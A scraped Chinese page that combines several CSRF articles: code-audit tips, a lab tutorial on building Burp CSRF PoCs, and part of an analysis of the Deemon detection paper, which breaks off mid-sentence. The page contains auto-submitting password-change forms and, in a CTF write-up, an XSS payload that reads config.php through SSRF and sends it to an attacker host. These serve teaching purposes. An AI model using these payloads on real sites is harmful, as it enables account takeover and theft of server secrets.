精华内容
下载资源
问答
  • 【代码审计】 ---- CSRF漏洞挖掘与防范
    2021-02-18 19:39:26
    • CSRF简介 ---- 全称:跨站请求伪造(Cross-site request forgery),强制终端用户在当前对其身份验证后web应用程序执行非本意的操作。说白了就是劫持其他用户去进行一些请求。crsf的危害性在于当前的请求是在执行什么样的操作csrf可以做到的事情添加管理员账号、修改网站配置、直接写入webshell等
    • CSRF挖掘经验 ---- CSRF主要用于越权操作,so漏洞大概率在有权限控制的地方。如:管理后台、会员中心、论坛帖子、交易管理等地方。管理后台是最高危的地方。黑盒挖掘csrf漏洞的方法:可以先打开几个有非静态操作的页面,抓包看有没有token,没有的话再抓这个页面的包删掉referer,看看返回的数据和之前是否相同,相同的话就很有可能存在csrf漏洞。白盒挖掘csrf漏洞的方法:读核心文件(被大量文件应用的基础文件)的代码看看有没有验证token、referer的相关代码,或者直接搜索token关键字。
    • CSRF漏洞的防范 ---- 主要问题是解决可信的问题,so有以下两种方法
      • (1)增加token/referer验证,避免img标签请求的水坑攻击。Token又称为令牌,其在页面或者cookie中添加一个不可预测的字符串,服务器在接收操作请求时只要验证一下这个字符串是不是上次访问留下的,即可判断是不是合法请求,
      • (2)增加验证码,一般只在敏感操作的页面添加,比如登录页面
    更多相关内容
  • 主要涉及CSRF漏洞挖掘技巧,最新版csrf漏洞通用POC生成方法,CSRF漏洞修复方法,在页面没有设置token或者TOKEN可以被破解时挖掘csrf,然后通过POC进行验证,本文仅限于CSRF漏洞挖掘等学习
  • 我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一、CSRF漏洞与测试 1、CSRF定义与情景 2、CSRF漏洞测试示例 (1)测试方法 (2)实验示例 (3)防御方法

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

    一、CSRF漏洞与测试

    1、CSRF定义与情景

            (1)CSRF定义: 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF , 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。

           (2)简单地说, 是攻击者通过一些技术手段欺骗用户的浏览器访问一个自己曾经认证过的网站执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。

           (3)构造CSRF情景:只保证请求发自某个用户的浏览器的简单身份验证+欺骗浏览器访问认证过的网站执行操作

    2、CSRF漏洞测试示例

    (1)测试方法

              第一步: 模拟受害者访问http://www.webtester.com/csrf/csrf01.php,验证后进行修改密码操作
              在这里插入图片描述
              在这里插入图片描述
              在这里插入图片描述
              第二步: 模拟受害者修改密码,在点击修改密码前,模拟攻击者抓包,即使用burpsuite拦截受害者修改密码的操作,从而生成csrf payload,然后drop原来的请求

              在这里插入图片描述
              在这里插入图片描述

              右键空白,悬停在Engagement tools,再点击Generate CSRF Poc,生成如下所示内容:
              在这里插入图片描述
              复制以上的代码,保存到csrf-poc.html页面中:

    	<html>
    	<!-- CSRF PoC - generated by Burp Suite Professional -->
    	<body>
    		<script>history.pushState('', '', '/')</script>
    		
    		<form action="http://www.webtester.com/csrf/csrf01.php?c=update" method="POST">
    			<input type="hidden" name="password" value="asdfghjkl" />
    			<input type="submit" value="Submit request" />
    		</form>
    	</body>
    	</html>
    

              最后,drop拦截的包

              第三步: 把以上保存的csrf-poc.html保存到攻击者www.exploit.cool的网站目录/exp/csrf/csrf-poc.html下,然后模拟攻击者给受害者发送链接,受害者访问该链接,就会修改密码。

              链接:http://www.exploit.cool/exp/csrf/csrf-poc.html
              在这里插入图片描述
              在这里插入图片描述
              第四步: 模拟受害者点击退出,然后通过修改后的密码登录成功
              在这里插入图片描述
              在这里插入图片描述

    (2)实验示例

             第一步: 由于受害者登录过的网站csrf01.php,访问以下的攻击者WEB服务器上的csrf-post.html就会触payload 从而修改密码。

              链接:http://www.exploit.cool/exp/csrf/csrf-post.html

    	<html> 
    	<body>
    		<form name="csrf" action="http://www.webtester.com/csrf/csrf01.php?c=update" method="POST">
    			<input type=text name=password value="123456"></input>
    			<input type="submit" value="submit" />
    		</form>
    			
    		<script>
    			 document.csrf.submit();
    		</script>
    	</body>
    	</html>
    

             在这里插入图片描述
             第二步: 模拟受害者,点击退出,再次登录发现密码被成功修改为123456
             在这里插入图片描述
             在这里插入图片描述

             在这里插入图片描述

    (3)防御方法

    • 加上token 进行认证
    • 判断页面来源
    • 页面加验证码判断
    展开全文
  • 在前端的攻击中,一般活跃在大家视线里的可能都是xss居多,对于csrf这一块正好我也抱着学习的心态,了解到安全顶会有一篇自动化挖掘CSRF漏洞的paper,于是看了看,以下是相关知识分享。 背景 CSRF可以分为两种,一...

    前言

    在前端的攻击中,一般活跃在大家视线里的可能都是xss居多,对于csrf这一块正好我也抱着学习的心态,了解到安全顶会有一篇自动化挖掘CSRF漏洞的paper,于是看了看,以下是相关知识分享。

    背景

    CSRF可以分为两种,一种是authenticated CSRF,一种是login CSRF。

    login CSRF

    对于login CSRF,这里我们以曾经的价值8000美金的Uber漏洞为例:

    在网站中,登录流程机制大致如下:

    Deemon & CSRF漏洞自动挖掘工具分析

    如果我们将somewhere改为google.com,那么流程将变为:Deemon & CSRF漏洞自动挖掘工具分析

    此时可以发现网站存在重定向的漏洞。如果此处我们将response_type=code改为response_type=token:Deemon & CSRF漏洞自动挖掘工具分析

    由于Oauth请求使用的是code并非access_token,所以此处重定向失败。

    那么此处可以引入login CSRF攻击,为oauth2-callback节点提供有效的code值,奇热那么即可将受害者的access_token带出重定向到我们的网站。Deemon & CSRF漏洞自动挖掘工具分析

    那么只要受害者点击链接:

    https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3d{攻击者的有效OAuth code}&state=%2F%2f攻击者控制的站点

    攻击者即可在网站hackerone.com收到受害者的access_token。

    authenticated CSRF

    Deemon & CSRF漏洞自动挖掘工具分析

    对于authenticated CSRF其实容易理解很多,即在用户登录后的页面里插入evil html,这里的方式可以多样化,例如可以利用xss,插入 HTML iframe tag或者 self-submitting JavaScript code, 又或是使用XMLHttpRequest JavaScript API等等。

    这里可以以一道CTF题目为例:https://xssrf.hackme.inndy.tw/

    详细的题解可以参考我这篇文章:https://skysec.top/2018/08/17/xss-ssrf-redis/

    这里我们简单提一下:

    题目允许攻击者使用xss在发邮件处进行攻击,我们可以发送如下请求

    < svg/οnlοad="
    xmlhttp=new XMLHttpRequest();
    xmlhttp.onreadystatechange=function()
    {
        if (xmlhttp.readyState==4 && xmlhttp.status==200)
        {
            document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
        }
    }
    xmlhttp.open("POST","request.php",true);
    xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    xmlhttp.send("url=file:///var/www/html/config.php");
    " >

    当受害者访问到该存储性xss会显示的页面,即会自动使用request.php页面,发送post请求,访问file:///var/www/html/config.php,同时会将response重定向发送到我们的攻击服务器http://vps_ip:23333/?'+btoa(xmlhttp.responseText),我们即可完成攻击,利用受害者获取一些数据。

    阶段总结

    两者区别在于authenticated CSRF建立于受害者已经登录授权后的攻击,而login CSRF的目的是让受害者使用攻击者的登录凭证。前者即利用登录后的受害者进行一些需要授权的操作,例如转账等等。而后者更倾向于攻击者利用自己的证书,让受害者登录。

    而本篇文章中,作者主要研究的是authenticated CSRF的自动化动态分析和挖掘。

    工具设计难题

    在设计中作者遇到了两方面的难题,一个是detection challenges,另一个是operational challenges。

    detection challenges

    · C1 State Transitions

    由于在web程序里存在大量的状态转换,例如,用户更改密码后,旧密码不再被使用,此时即是一次状态转换。

    这样的问题在sql注入或者xss攻击的fuzz工具中可能影响并不是很大,但在CSRF中就会有较多的干扰,所以现在的模型难以直接牵引至aCSRF的fuzz工具中。那么如何确定何时发生状态转换,成为了一个难题。

    · C2 Security-Relevant State Changes

    状态改变的操作很多,但如何识别哪些状态改变是和安全相关的这成为了一个难题。

    · C3 Relationships of Request Parameters and State Transitions

    例如如下请求:

    http://example.com/?newpassword=123123

    对于上述链接,工具可能无法知道newpassword这个参数会带来状态转换,这是一个更改密码的操作,且新密码是123123。所以如何确定请求参数和状态转换之间的关系,成为一个难题。

    operational challenges

    · C4 Transitions in Non-Trivial Application Workflows

    在Web程序中,经常需要一系列操作后,才能达到更改某个状态的目的,但现有的工具并不能比较好的处理这一系列复杂的操作,静态分析中也存在这样的缺陷。那么如何在较为复杂的web工作流程中找到导致状态变化的请求,成为了一个难题。

    · C5 Side-Effect-Free Testing

    测试中引起的状态变化的副作用是不可逆的,例如在购物车界面,如果我们随机测试,清空了购物车,那么后续的测试将难以进行,这一状态根据现有工具很难逆转。

    · C6 Comprehensive, Reusable Representation of Application Functionality

    在解决aCSRF工具的问题时,会用到许多的模型,但是模型之间可能使用了不同的语言,并且他们之间可能关系复杂,如何将这些模型高效的凝结在一起,使我们可以建立全面的,可重用的应用程序功能表示,成为了一个难题。

    工具设计方法

    方法概述

    作者为克服上述困难,开发工具基于php后端,mysql数据库的aCSRF自动检测工具Deemon。

    · C1 & C3

    为了解决C1和C3的难题,Deemon从程序执行观察中推断状态转换和数据流信息的模型。

    · C6

    为了解决C6的难题,Deemon使用属性图来描绘不同模型之间的精准关系。

    · C2

    为了解决C2的问题,Deemon使用图遍历的思想来识别与安全相关的更改操作。

    · C4

    为了解决C4的问题,Deemon在web执行环境中